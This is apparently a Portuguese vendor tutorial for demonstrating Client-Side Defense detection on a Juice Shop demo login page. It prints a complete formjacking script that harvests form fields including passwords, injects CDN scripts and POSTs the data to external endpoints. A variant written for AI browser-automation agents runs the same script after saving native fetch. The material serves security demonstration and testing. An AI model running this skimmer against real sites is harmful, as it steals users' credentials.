Pular para o conteúdo

Detecção de Gatilhos

O CSD monitora o comportamento do JavaScript dentro do navegador. Ao contrário do WAF ou do Bot Defense, não é possível acionar a detecção do CSD com comandos curl — é necessária atividade real de script no lado do navegador. O script combinado a seguir aciona todos os três sinais de detecção do CSD em uma única execução: coleta de campos de formulário, injeção de scripts de terceiros a partir de múltiplos domínios CDN e exfiltração de dados para endpoints externos.

  1. Navegue até a página de login do Juice Shop em https://botdemo.sales-demo.f5demos.com/#/login

  2. Insira credenciais fictícias nos campos do formulário — digite test@example.com no campo Email e P@ssword123 no campo Password (não envie o formulário)

  3. Abra o DevTools (F12 → aba Console)

    Console do DevTools vazio pronto para entrada de scriptConsole do DevTools vazio pronto para entrada de script
  4. Cole o script a seguir no console e pressione Enter — ele é executado automaticamente como uma função auto-executável

    Combined Detection Script
    // CSD Demo — Combined Detection Script
    // Triggers ALL CSD detection signals: field reads, script injection, exfiltration
    (function() {
    console.log('='.repeat(50));
    console.log('[CSD Demo] Combined Detection Script — Starting');
    console.log('='.repeat(50));
    // Phase 1: Harvest all form fields (CSD tracks field reads on page-load DOM fields)
    console.log('\n[Formjack] Phase 1: Form field harvesting');
    var inputs = document.querySelectorAll('input');
    var harvested = {};
    inputs.forEach(function(input) {
    var name = input.name || input.id || input.type;
    harvested[name] = input.value || '(empty)';
    });
    console.log('[Formjack] Harvested ' + Object.keys(harvested).length + ' fields:', harvested);
    // Phase 2: Inject third-party scripts from 4 CDN domains
    console.log('\n[Supply Chain] Phase 2: Multi-CDN script injection');
    var cdns = [
    { url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr' },
    { url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh' },
    { url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg' },
    { url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm' }
    ];
    cdns.forEach(function(cdn) {
    var script = document.createElement('script');
    script.src = cdn.url;
    script.onload = function() {
    console.log('[Supply Chain] Loaded from ' + cdn.name + ': ' + cdn.url);
    };
    script.onerror = function() {
    console.log('[Supply Chain] Blocked/failed from ' + cdn.name + ': ' + cdn.url);
    };
    document.head.appendChild(script);
    console.log('[Supply Chain] Injected script tag: ' + cdn.name);
    });
    // Phase 3: Exfiltrate harvested data to external endpoints
    console.log('\n[Exfil] Phase 3: Data exfiltration');
    var payload = JSON.stringify({
    type: 'combined_demo',
    credentials: harvested,
    page: window.location.href,
    timestamp: Date.now()
    });
    fetch('https://www.httpbin.org/post', {
    method: 'POST',
    mode: 'no-cors',
    body: payload
    }).then(function() {
    console.log('[Exfil] Data sent to www.httpbin.org');
    });
    fetch('https://jsonplaceholder.typicode.com/posts', {
    method: 'POST',
    mode: 'no-cors',
    headers: { 'Content-Type': 'application/json' },
    body: payload
    }).then(function() {
    console.log('[Exfil] Data sent to jsonplaceholder.typicode.com');
    });
    // Summary
    console.log('\n' + '='.repeat(50));
    console.log('[CSD Demo] Simulation complete');
    console.log('[CSD Demo] Fields harvested: ' + Object.keys(harvested).length);
    console.log('[CSD Demo] Scripts injected: ' + cdns.length + ' (4 CDN domains)');
    console.log('[CSD Demo] Exfil channels: 2 (fetch POST)');
    console.log('[CSD Demo] Detection takes 5-10 minutes to appear in the CSD console.');
    console.log('='.repeat(50));
    })();
  5. Observe a saída em fases [CSD Demo] no console confirmando cada etapa: coleta de campos, injeção de scripts de 4 domínios CDN e exfiltração de dados. O esm.sh serve sintaxe de módulo ES (export default …) — quando carregado como uma tag <script> clássica, isso causa Uncaught SyntaxError: Cannot use import statement outside a module. Isso é esperado e não afeta a detecção do CSD (a tag de script ainda é injetada e a requisição de rede ainda é realizada)

    Saída do console após executar o script de simulaçãoSaída do console após executar o script de simulação

Assistentes de IA com ferramentas de automação de navegador (MCP Chrome DevTools, Playwright, Puppeteer) executam a simulação programaticamente em vez de seguir as etapas manuais acima:

  1. Navegar com initScript — primeiro navegue até about:blank para garantir um contexto de documento limpo, depois use navigate_page para a URL da página de login (por exemplo, http://$F5XC_DOMAINNAME/#/login) com um initScript que salva o setInterval, clearInterval, fetch e console.log nativos antes que o zone.js os sobrescreva, faz polling pelos campos do formulário de login, preenche as credenciais via setter nativo HTMLInputElement.prototype.value e executa imediatamente o Script de Detecção Combinado inline. Use o initScript verbatim abaixo.
  2. Fechar Banner de Boas-vindas — use press_key com Escape para fechar o Banner de Boas-vindas. Em visitas subsequentes o banner pode não aparecer (cookies persistidos)
  3. Aguardar a conclusão — aguarde 10 segundos para que todos os callbacks de carregamento/erro de scripts CDN e resoluções de promessas fetch sejam concluídos
  4. Capturar evidências — use list_console_messages para verificar [CSD Demo] Simulation complete; use list_network_requests filtrado pelos tipos script e fetch para verificar os códigos de status HTTP

Harness initScript (verbatim — encapsula o Script de Detecção Combinado para execução automatizada):

// Save native references before zone.js patches them
var _si = window.setInterval.bind(window);
var _ci = window.clearInterval.bind(window);
var _fetch = window.fetch.bind(window);
var _log = window.console.log.bind(window.console);
// Poll for login form fields, fill credentials, run detection script
var _poll = _si(function() {
var emailEl = document.querySelector('input[type="email"]');
var passEl = document.querySelector('input[type="password"]');
if (emailEl && passEl) {
_ci(_poll);
// Fill credentials via native setter (bypasses zone.js)
var nativeSet = Object.getOwnPropertyDescriptor(
window.HTMLInputElement.prototype, 'value').set;
nativeSet.call(emailEl, 'test@example.com');
emailEl.dispatchEvent(new Event('input', { bubbles: true }));
nativeSet.call(passEl, 'P@ssword123');
passEl.dispatchEvent(new Event('input', { bubbles: true }));
// Run Combined Detection Script inline using native fetch for exfil
(function() {
_log('==================================================');
_log('[CSD Demo] Combined Detection Script — Starting');
_log('==================================================');
_log('\n[Formjack] Phase 1: Form field harvesting');
var inputs = document.querySelectorAll('input');
var harvested = {};
inputs.forEach(function(input) {
var name = input.name || input.id || input.type;
harvested[name] = input.value || '(empty)';
});
_log('[Formjack] Harvested ' + Object.keys(harvested).length + ' fields:', harvested);
_log('\n[Supply Chain] Phase 2: Multi-CDN script injection');
var cdns = [
{ url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr' },
{ url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh' },
{ url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg' },
{ url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm' }
];
cdns.forEach(function(cdn) {
var script = document.createElement('script');
script.src = cdn.url;
script.onload = function() { _log('[Supply Chain] Loaded from ' + cdn.name + ': ' + cdn.url); };
script.onerror = function() { _log('[Supply Chain] Blocked/failed from ' + cdn.name + ': ' + cdn.url); };
document.head.appendChild(script);
_log('[Supply Chain] Injected script tag: ' + cdn.name);
});
_log('\n[Exfil] Phase 3: Data exfiltration');
var payload = JSON.stringify({
type: 'combined_demo', credentials: harvested,
page: window.location.href, timestamp: Date.now()
});
_fetch('https://www.httpbin.org/post', { method: 'POST', mode: 'no-cors', body: payload })
.then(function() { _log('[Exfil] Data sent to www.httpbin.org'); });
_fetch('https://jsonplaceholder.typicode.com/posts', {
method: 'POST', mode: 'no-cors',
headers: { 'Content-Type': 'application/json' }, body: payload
}).then(function() { _log('[Exfil] Data sent to jsonplaceholder.typicode.com'); });
_log('\n==================================================');
_log('[CSD Demo] Simulation complete');
_log('[CSD Demo] Fields harvested: ' + Object.keys(harvested).length);
_log('[CSD Demo] Scripts injected: 4 (4 CDN domains)');
_log('[CSD Demo] Exfil channels: 2 (fetch POST)');
_log('==================================================');
})();
}
}, 300);

Observação sobre o fetch nativo: Este harness salva window.fetch.bind(window) para evitar erros do zone.js. Este é o comportamento correto para todas as fases de simulação de ataque. A mitigação do CSD bloqueia o carregamento de scripts (limpando os valores de src das tags &lt;script&gt;), não as chamadas fetch(), portanto salvar a referência fetch nativa não afeta o comportamento de mitigação. O mesmo initScript é utilizado para a Fase 2 e a Fase 3.

Operadores sem ferramentas de automação de navegador devem utilizar as etapas manuais acima.

A simulação combinada aciona todos os três sinais de detecção do CSD:

ComportamentoO Que o Script FazO Que o CSD Vê
Coleta de camposLê valores de elementos input existentes (email, senha)Scripts lendo campos de formulário sensíveis — sinalizados como Alto Risco
Injeção de scriptsAdiciona 4 tags <script> carregando de cdn.jsdelivr.net, esm.sh, unpkg.com e ga.jspm.io4 novos domínios de scripts de terceiros na página
Exfiltração de dadosEnvia dados coletados via fetch para www.httpbin.org e jsonplaceholder.typicode.comChamadas de rede para domínios externos (observação: destinos fetch aparecem como interações de rede de scripts, não na visualização de domínio de Rede)

O script combinado acima é uma versão simplificada de 3 fases (coleta, injeção, exfiltração) adequada para a maioria das demonstrações. A Biblioteca de Scripts de Ataque fornece 10 scripts direcionados organizados por tipo de ataque, incluindo um teste de estresse de Detecção Máxima que adiciona manipulação de DOM, exfiltração de cookies e canais de beacon de imagem além da cobertura do script combinado. Utilize os scripts individuais para demonstrar categorias específicas de ataque (formjacking, digital skimming, injeção na cadeia de suprimentos, exfiltração de dados, manipulação de DOM) de forma isolada.